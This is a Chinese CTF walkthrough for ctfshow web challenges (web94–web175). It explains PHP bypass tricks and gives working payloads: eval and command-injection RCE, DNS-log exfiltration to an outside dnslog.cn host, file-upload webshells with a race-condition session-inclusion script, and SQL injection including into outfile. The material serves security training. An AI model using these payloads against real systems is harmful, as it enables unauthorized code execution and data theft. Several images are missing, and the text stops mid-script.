    if(intval($num,0)===4476){
        echo $flag;
    }
}

加了一个strpos()
在这里插入图片描述
在这里插入图片描述
专门拿来防第一位是0,那这里只要不是开头第一位是0就可以了,那我们给进制前加一个空格%20或者先换行%0a,或者使用浮点数加小数点4476.0的方法绕过

?num=%20010574
?num=%0a010574
?num=4476.0

web95

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

多过滤个点,不能用浮点型绕过了,在前面加空格、换行仍可

?num=%20010574
?num=%0a010574

web96

在这里插入图片描述
payload

?u=php://filter/read=convert.base64-encode/resource=flag.php

其他payload

/var/www/html/flag.php              绝对路径
./flag.php                          相对路径
php://filter/resource=flag.php      php伪协议 

web97

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是强相等的。

a[]=1&b[]=2
拓展:
$a=(string)$a;
$b=(string)$b;
if(  ($a!==$b) && (md5($a)==md5($b)) ){
echo $flag;
}
md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。
payload: a=QNKCDZO&b=240610708
md5强碰撞
$a=(string)$a;
$b=(string)$b;
if(  ($a!==$b) && (md5($a)===md5($b)) ){
echo $flag;
}
这时候需要找到两个真正的md5值相同数据

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

web98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

考察点:三目运算符的理解+变量覆盖
根据第一条可知,如果get传了一个值,那么就可以用post覆盖get中的值。
所以我们get随便传一个,然后post传 HTTP_FLAG=flag即可
payload

get:1=1 post:HTTP_FLAG=flag

web99

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>

分析源代码,array_push向数组里面插入随机数,in_array判断n中是否含有这个随机数
in_array弱类型比较

$allow = array(1,'2','3');
var_dump(in_array('1.php',$allow));
返回的为true

$allow = array('1','2','3');
var_dump(in_array('1.php',$allow));
返回false

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
查看源码即得到flag

web100

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
<?php
$a=true and false and false;
var_dump($a);  返回true

$a=true && false && false;
var_dump($a);  返回false

只要v1是数字就可以使得v0为true,从而进入if中。

查看目录:

v1=1&v2=?><?php echo `ls`?>/*&v3=;*/
v1=1&v2=-system('ls')-&v3=-1;
v1=1&v2=echo&v3=;system('ls');
可以rce cat php文件
?v1=1&v2=system("tac ctfshow.php")/*&v3=*/;
可以直接var_dump ctfshow变量
?v1=1&v2=var_dump($ctfshow)&v3=;

在这里插入图片描述
注意将0x2d转换为-
ctfshow{4a27bda5-c27a-4cde-a869-5b724db05a1b}

web101

第一部分和web100相同
第二部分因为加了过滤,可以用反射类构造出 echo new ReflectionClass(‘ctfshow’);
payload:

?v1=1&v2=echo new ReflectionClass&v3=;

举个反射类的例子

<?php
class A{
public static $flag="flag{123123123}";
const  PI=3.14;
static function hello(){
    echo "hello</br>";
}
}
$a=new ReflectionClass('A');


var_dump($a->getConstants());  获取一组常量
输出
 array(1) {
  ["PI"]=>
  float(3.14)
}

var_dump($a->getName());    获取类名
输出
string(1) "A"

var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
  ["flag"]=>
  string(15) "flag{123123123}"
}

var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
  [0]=>
  object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(5) "hello"
    ["class"]=>
    string(1) "A"
  }
}

在这里插入图片描述
0x2d换成-,但是提交不正确,发现少了一位。查看hint,最后一位需要爆破16次进行猜测爆破
ctfshow{5f6a399f-da7c-4f9d-bca1-d393bdbfe8e}
好家伙我从0-f一个个试,结果是f,我吐了
ctfshow{5f6a399f-da7c-4f9d-bca1-d393bdbfe8ef}

web102


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}


?>
$a='<?=`cat *`;';
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //去掉等号,因为等号只是起到填充的作用,再bin2hex
输出   5044383959474e6864434171594473
11504438395948526859794171594473 因为从第三位算起,前面随便加两个数字
带e的话会被认为是科学计数法,可以通过is_numeric检测。
大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用,不影响具体的数据内容。

最终payload:v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php post: v1=hex2bin
访问1.php,查看页面源代码

web103

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

?>

加了一个php的过滤,不过位置稍有尴尬,所以和web102一样的

web104 web106

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}
?>

与md5一样,sha1无法处理数组

GET:?v2[]=1
POST:v1[]=2

web105

<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){		//键名不能是error
        die("what are you doing?!");
    }
    $$key=$$value;		//变量覆盖,意思就是$key的内容作为变量,例如:$key=xx,$$key=$xx
}foreach($_POST as $key => $value){
    if($value==='flag'){	//键值不能是flag
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){	//不相等就die($error)
    die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>

这里有三个变量:
$error=‘你还想要flag嘛?’;
$suces=‘既然你想要那给你吧!’;
$flag 不知道,这就是我们要输出的变量

如何输出变量$flag?
利用变量覆盖

?suces=flag		#GET  $suces=$flag
error=suces		#POST $error=$suces(此时,$flag的值就传给了$suces和$error)

web107

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}



?>

parse_str(string,array)
函数把查询字符串解析到变量中
利用md5无法输出数组,返回是NULL的情况

?v3[]=1   #GET
v1="flag=0"   #POST

web108

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

?>

首先看函数:

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。

ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

strrev() :反转字符串

intval()函数遇到非数字字符就会停止识别, 877aa识别为877

^[a-zA-Z]+$这个正则意思是:匹配所有大小写字母一次或者多次(+号:一次或者多次)

payload:c=a%00778

首先正则表达式只会匹配%00之前的内容,后面的被截断掉,可以通过正则表达式检测,后面通过反转成877%00a,再用intval函数获取整数部分得到877,877为0x36d的10进制。

web109

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }
}
?> 

先来看下这个正则表达式/[a-zA-Z]+/ 匹配至少有一个字母的字符串
所以我们只要让new后面有个类不报错以后,就可以随意构造了。
这里通过异常处理类Exception(system(‘cmd’))可以运行指定代码

?v1=Exception&v2=system('tac fl*')
?v1=ReflectionClass&v2=system('tac fl*')

web110

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

?>

FilesystemIterator就是一个读取目录下文件名的,如果参数能给一个/就能读取当前目录所有文件,这里符号都不能用了,这里php中的getcwd()可以帮我们替代/ (getchwd() 函数返回当前工作目录。)

?v1=FilesystemIterator&v2=getcwd

在这里插入图片描述

在这里插入图片描述

web111

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
    
}

?>

$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

如果输出$GLOBALS就能输出全部变量,那这里给v2赋一个$GLOBALS的值它就会传给v1,然后var_dump(v1)便能输出所有的变量,而v1要求有ctfshow的字样,那就给v1赋值ctfshow

?v1=ctfshow&v2=GLOBALS

web112

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

is_file():
函数检查指定的文件名是否是正常的文件,如果文件存在且为正常的文件,则返回 true
这里我们不能让is_file检测出是文件,但highlight_file可以识别为文件。这时候可以利用php伪协议。

payload:
1.  php://filter/resource=flag.php		
2.  php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
3.  php://filter/read=convert.quoted-printable-encode/resource=flag.php	//可打印字符引用编码
4.  compress.zlib://flag.php		//压缩流

web113

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

在上题基础上过滤了filter
可以使用非预期解

compress.zlib://flag.php

师傅们的预期解是利用/proc/self/root
在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容,通过多次重复后绕过is_file

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

web114


error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";

?file=php://filter/resource=flag.php

web115

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
} hacker!!!

trim() 函数移除字符串两侧的空白字符或其他预定义字符,如果不指定第二个参数,trim() 将去除这些字符:

" " (ASCII 32 (0x20)),普通空格符。
“\t” (ASCII 9 (0x09)),制表符。
“\n” (ASCII 10 (0x0A)),换行符。
“\r” (ASCII 13 (0x0D)),回车符。
“\0” (ASCII 0 (0x00)),空字节符。
“\x0B” (ASCII 11 (0x0B)),垂直制表符。

yu师傅的脚本

for ($i=0; $i <=128 ; $i++) { 
    $x=chr($i).'1';
   if(trim($x)!=='1' &&  is_numeric($x)){
        echo urlencode(chr($i))."\n";
   }
}
//%0C (换页符)

?num=%0c36

web123

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

php变量名不允许使用点号,会变成下划线
但如果出现了[,那么这个[转变为下划线后,后面的点并不会转化,具体原理是啥还不知道
CTF[SHOW.COM=>CTF_SHOW.COM

CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

web125

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>


相比上题过滤了echo和flag

POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
GET:?1=flag.php

web126

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }

相比上题过滤了f

$_SERVER['argv']

1、cli模式(命令行)下
第一个参数$_SERVER[‘argv’][0]是脚本名,其余的是传递给脚本的参数
在这里插入图片描述
2、web网页模式下

在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
$argv,$argc在web模式下不适用

出题人的预期解是在$_SERVER['argv'][0]中,对于传递的参数,可以通过加号+进行分割
parse_str:把查询字符串解析到变量中

get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

<?php
$a=$_SERVER['argv'];
var_dump($a);

传入 a=1+fl0g=flag_give_me
结果如下
array(2) { [0]=> string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me" }

web127

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;
}

过滤了. [ +,还能用空格来实现

php解析特性

ctf%20show->ctf_show
%20ctfshow->ctfshow
?ctf show=ilove36d

web128


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}

这题主要考察的是_()和get_defined_vars()两个函数的使用,call_user_func(’_’,‘phpinfo’)最后会返回phpinfo,get_defined_vars()返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

?f1=_&f2=get_defined_vars

在这里插入图片描述

web129

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

在这里插入图片描述

payload:f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
?f=php://filter/ctfshow/resource=flag.php
?f=/ctfshow/../../../../../../../var/www/html/flag.php
filter伪协议支持多种编码方式,无效的就被忽略掉了。

web130

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

在这里插入图片描述

payload:

f=ctfshow
f[]=ctfshow

web131

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。

import requests
url="http://6d4fe815-165b-4099-83c3-d4acff2e51cd.challenge.ctf.show:8080/"
data={
	'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)

web132

include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    }
} 

因为||的优先级低于&&所以可以这样理解

if(($code === mt_rand(1,0x36D) && $password === $flag )||( $username ==="admin")){

所以满足username==="admin"就可以了。

?code=admin&username=admin&password=1

web133

在这里插入图片描述

/?F=$F; ping cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]".3shk56.dnslog.cn -c 1
在这里插入图片描述

在这里插入图片描述8 4 4 4 12
ctfshow{c367afbb-40a6-4f3f-8fdd-ba8fc0dc6963}

web134

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

先是这两个函数配合

parse_str($_SERVER[‘QUERY_STRING’]);

把GET传的,变成变量
然后extract($_POST);
POST变量覆盖;

payload:
?_POST[key1]=36d&_POST[key2]=36d

web135

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}

测试:

get传参   F=`$F `; sleep 3
经过substr($F,0,6)截取后 得到  `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`");
也就是说最终会执行  ` `$F `;sleep 3 ` == shell_exec("`$F `; sleep 3");
前面的命令我们不需要管,但是后面的命令我们可以自由控制。
这样就在服务器上成功执行了 sleep 3
所以 最后就是一道无回显的RCE题目了

没有限制写文件

payload:F=`$F `; nl f*>1.txt
payload:F=`$F `; cp f* 2.txt

web136

 <?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?> 

许多符号和常用函数都被禁用,这里用到linux一个tee:用来读取标准输入的数据,并将其内容输出成文件

tee file1 file2 //复制文件
ls|tee 1.txt //命令输出

先查看目录

?c=ls /|tee 1

在这里插入图片描述

?c=nl /f149_15_h3r3|tee 1

在这里插入图片描述

web137

在这里插入图片描述直接调用类中的函数

POST:ctfshow=ctfshow::getflag
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.

web138

ctfshow[]=ctfshow&ctfshow[]=getFlag

web140


error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}

使$code的值为0
f1=system&f2=system
f2=getdate&f2=getdate

web142

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
} 
?v1=0

web147

在这里插入图片描述匿名函数查看当前目录

web149

在这里插入图片描述

在这里插入图片描述

web150

在这里插入图片描述
在这里插入图片描述

web151

include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
    include($ctf);
}

在这里插入图片描述

----------文件上传----------

web151

绕过前端验证
方法1:直接关闭浏览器的js
在这里插入图片描述

方法2:上传.png(没错,只能是png,gif和jpg都不行)文件然后bp抓包后修改后缀,内容为一句话
在这里插入图片描述
用蚁剑连接或者

/upload/2.php
post: test=system('tac ../flag.php');

ctfshow{89dfe198-f18f-4936-84d5-b734bfd26690}

web152

和上题一样
在这里插入图片描述

web153

上传.user.ini文件覆盖php.ini文件配置

自PHP5.3.0起,PHP支持基于每个目录的INI文件配置,如果你的PHP以模块化运行在Apache里,则用.htaccess文件有同样效果

在这里插入图片描述
在这里插入图片描述
木马上传成功
但是这种方式其实是有个前提的,因为.user.ini只对他同一目录下的文件起作用,也就是说,只有他同目录下有php文件才可以。
对于这个题,因为他upload目录下有个index.php所以这种方式是可以成功的。

http://58ac5244-cb1f-4c48-aca9-4219af9c71c8.challenge.ctf.show:8080/upload/index.php

连接蚁剑

web154 155

这题过滤了php

<?=(表达式)?> 等价于 <?php echo (表达式)?>

在这里插入图片描述
在这里插入图片描述
同上

web156

[ ] 被过滤,使用{ }进行代替。
在这里插入图片描述
同上

web157 158 159

过滤了{}和分号,那就直接输出flag算了

159不适用这个 因为过滤括号
<?=system('tac ../f*')?>
或者
全部适用
<?=`tac ../f*`?>

在这里插入图片描述
然后传.user.ini
最后访问
在这里插入图片描述

web160

过滤了括号反引号还有一些关键字
利用日志包含绕过,图片内容<?=include"/var/lo"."g/nginx/access.lo"."g"?>因为log被过滤了。所以用拼接绕过
在这里插入图片描述
上传.user.ini
在这里插入图片描述
访问网站然后修改ua头信息
在这里插入图片描述
接着访问
在这里插入图片描述

web161

上传文件失败了,应该是对文件的头部进行了检测。
getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求。
所以在之前的基础上去添加GIF89A进行图片头欺骗。
一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

web162 163

又把.给ban了,使用session文件包含。
先上传.user.ini文件,因为把.过滤了,所以包含的文件名直接改为png即可:
在这里插入图片描述
然后上传png文件,其中包含了session文件:
在这里插入图片描述接下来就是开始条件竞争去创建session文件,一边上传文件一边去验证是否包含session成功:

import io
import requests
import threading
url = 'http://353dd9f8-3a92-4460-a0cb-f7f99c19509a.challenge.ctf.show:8080/'

def write(session):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
    }
    while True:
        f = io.BytesIO(b'GIF89a\nctfshow')
        files = {'file': ('1.png', f, 'image/png')}
        response = session.post(url+"upload.php",cookies={'PHPSESSID': 'ctfshow'}, data=data, files=files)
def read(session):
    while True:
        response = session.get(url+'upload/')
        if 'ctfshow' in response.text:
            print(response.text)
            break
        else:
            print('retry')

if __name__ == '__main__':
    session = requests.session()
    for i in range(30):
        threading.Thread(target=write, args=(session,)).start()
    for i in range(30):
        threading.Thread(target=read, args=(session,)).start()

在这里插入图片描述

web166

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

----------sqli注入----------

web171

# 判断列数
' order by 3 --+

# 查数据库名
' union select 1,2,database() --+

# 查表名
' union select 1,2,concat(table_name) from information_schema.tables where table_schema='ctfshow_web' --+

# 查表名2,这样查表名可以省略查数据库名这个步骤
' union select 1,2,concat(table_name) from information_schema.tables where table_schema=database() --+

# 查字段
' union select 1,2,concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+

# 查flag
' union select id,username,password from ctfshow_user where username='flag'--+

web172

在这里插入图片描述
返回结果中的username不允许等于flag,不输出username不就完事

' union select 1,password from ctfshow_user2 where username='flag'--+

web173

在这里插入图片描述这里换成了正则,不允许含有flag关键词
username字段输出有flag,加密一下username即可

' union select id,hex(username),password from ctfshow_user3 where username='flag'--+
或者' union select id,reverse(username),password from ctfshow_user3 where username='flag'--+
1' union select 1,to_base64(password),3 from ctfshow_user3 %23

web174

web175

在这里插入图片描述过滤了ASCII码0-127的字符,页面没有回显的话可以选择将输出存到一个文本文件中,再去访问它。

1' union select 1,password from ctfshow_user5 where username='flag' into outfile "/var/www/html/2.txt"-- -

或者时间盲注,贴一个脚本


import requests

